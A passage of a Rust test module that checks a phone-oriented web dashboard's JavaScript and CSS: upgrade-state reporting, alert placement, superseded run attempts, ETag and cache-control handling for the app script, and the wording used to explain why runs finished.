7673 assert!(
7674 APP_JS.contains(&format!("\"{stage}\"")),
7675 "the phone must be able to tell {stage} apart from the others"
7676 );
7677 }
7678 assert!(APP_JS.contains(".waiting_on"));
7679 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
7684 assert!(APP_JS.contains("reconnects on its own"));
7685 }
7686
7687 #[test]
7688 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
7689 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
7698 ..APP_JS.find("function upgrade(").expect("upgrade")];
7699 assert!(
7700 !body.contains(
7701 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
7702 ),
7703 "a failed upgrade must not take the whole strip over the way it used to"
7704 );
7705 assert!(
7706 body.contains("upgradeFailNote"),
7707 "the failure has to reach the loop's own note instead"
7708 );
7709 assert_eq!(
7713 body.matches("upgradeFailNote].filter(Boolean).join")
7714 .count(),
7715 2,
7716 "both loop-why writers (quiet and control) must fold the note in"
7717 );
7718 }
7719
7720 #[test]
7721 fn an_overdue_upgrade_eventually_asks_for_a_human() {
7722 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
7725 assert!(APP_JS.contains("function upgradeOverdue("));
7726 }
7727
7728 #[test]
7729 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
7730 assert!(
7731 APP_JS.contains("Updated to ${upgradeInfo.to"),
7732 "the operator who asked for the restart wants to know it worked"
7733 );
7734 }
7735
7736 #[test]
7737 fn an_error_is_visible_from_where_the_button_is() {
7738 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
7743 ..APP_CSS.find(".alert-text").expect(".alert-text")];
7744 assert!(
7745 alert.contains("position: fixed"),
7746 "an error about the thing under your thumb has to be visible from \
7747 where your thumb is: {alert}"
7748 );
7749 assert!(
7750 alert.contains("z-index: 25"),
7751 "above the dock (20) and the run-actions FAB (15), so neither \
7752 buries it: {alert}"
7753 );
7754 assert!(
7755 alert.contains("var(--tap)"),
7756 "and clear of the dock and the home indicator: {alert}"
7757 );
7758 assert!(
7761 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
7762 "the FAB's column stays free: {alert}"
7763 );
7764 }
7765
7766 #[tokio::test]
7767 async fn an_older_attempt_says_what_replaced_it() {
7768 let fx = Fixture::start().await;
7769 let q = fx.queue();
7770 let runs = fx.runs();
7771 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
7772 write_run(&runs, first, RunStatus::Stalled);
7773 write_run(&runs, second, RunStatus::Blocked);
7774
7775 let mut t = Task::new(
7776 "one task".to_owned(),
7777 "do it".to_owned(),
7778 PathBuf::from("/repo"),
7779 Source::Human,
7780 );
7781 t.runs = vec![first.to_owned(), second.to_owned()];
7782 q.put(&mut t).expect("put");
7783
7784 let rows = fx.get("/api/runs").await.json();
7788 let by = |short: &str| -> Value {
7789 rows.as_array()
7790 .unwrap()
7791 .iter()
7792 .find(|r| r["short"] == short)
7793 .cloned()
7794 .unwrap_or(Value::Null)
7795 };
7796 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
7797 assert!(
7798 by("bbbb")["superseded_by"].is_null(),
7799 "the latest attempt is not superseded by anything"
7800 );
7801 assert!(APP_JS.contains("run.superseded_by"));
7803 assert!(APP_JS.contains("Superseded by"));
7804 }
7805
7806 #[tokio::test]
7807 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
7808 let fx = Fixture::start().await;
7809 let js = fx.get("/app.js").await;
7815 assert_eq!(js.status, 200);
7816 let tag = js
7817 .header("etag")
7818 .expect("an etag to revalidate against")
7819 .to_owned();
7820 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
7821 assert_eq!(
7822 js.header("cache-control"),
7823 Some("no-cache, must-revalidate"),
7824 "the phone has to ask every time"
7825 );
7826
7827 let again = fx
7830 .get_with("/app.js", &[("if-none-match", tag.as_str())])
7831 .await;
7832 assert_eq!(
7833 again.status, 304,
7834 "a deck it already has costs one round trip"
7835 );
7836 assert!(again.body.is_empty(), "304 carries no body");
7837
7838 let weak = fx
7841 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
7842 .await;
7843 assert_eq!(weak.status, 304);
7844 let stale = fx
7845 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
7846 .await;
7847 assert_eq!(stale.status, 200, "an older build must be replaced");
7848 assert!(stale.body.contains("renderRunActions"));
7849 }
7850
7851 #[test]
7852 fn the_deck_never_sends_the_operator_to_a_terminal() {
7853 assert!(
7856 !APP_JS.contains("Run `magi fold` first"),
7857 "the deck must offer the fold, not prescribe a shell command"
7858 );
7859 assert!(APP_JS.contains("foldRun:"));
7860 assert!(APP_JS.contains("resumeRun:"));
7861 assert!(APP_JS.contains("renderRunActions"));
7862
7863 assert!(APP_JS.contains("armedFold"));
7865 assert!(APP_JS.contains("Yes, fold worktrees"));
7866
7867 assert!(APP_JS.contains("can no longer be resumed"));
7870 }
7871
7872 #[test]
7873 fn a_finished_run_explains_itself_with_its_own_last_line() {
7874 assert!(
7880 !APP_JS.contains("collapsed on agent quota"),
7881 "a stall must not be explained by a cause the deck did not check"
7882 );
7883 assert!(
7884 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
7885 "and a block must not offer a guess with an `or` in it"
7886 );
7887
7888 assert!(
7892 APP_JS.contains("setText(r.event, run.event || \"\")"),
7893 "the run's last line is rendered unconditionally"
7894 );
7895 assert!(
7896 !APP_JS.contains("moving && run.event"),
7897 "and never gated on the run still moving"
7898 );
7899
7900 assert!(APP_JS.contains("lost to quota"));
7902 }
7903}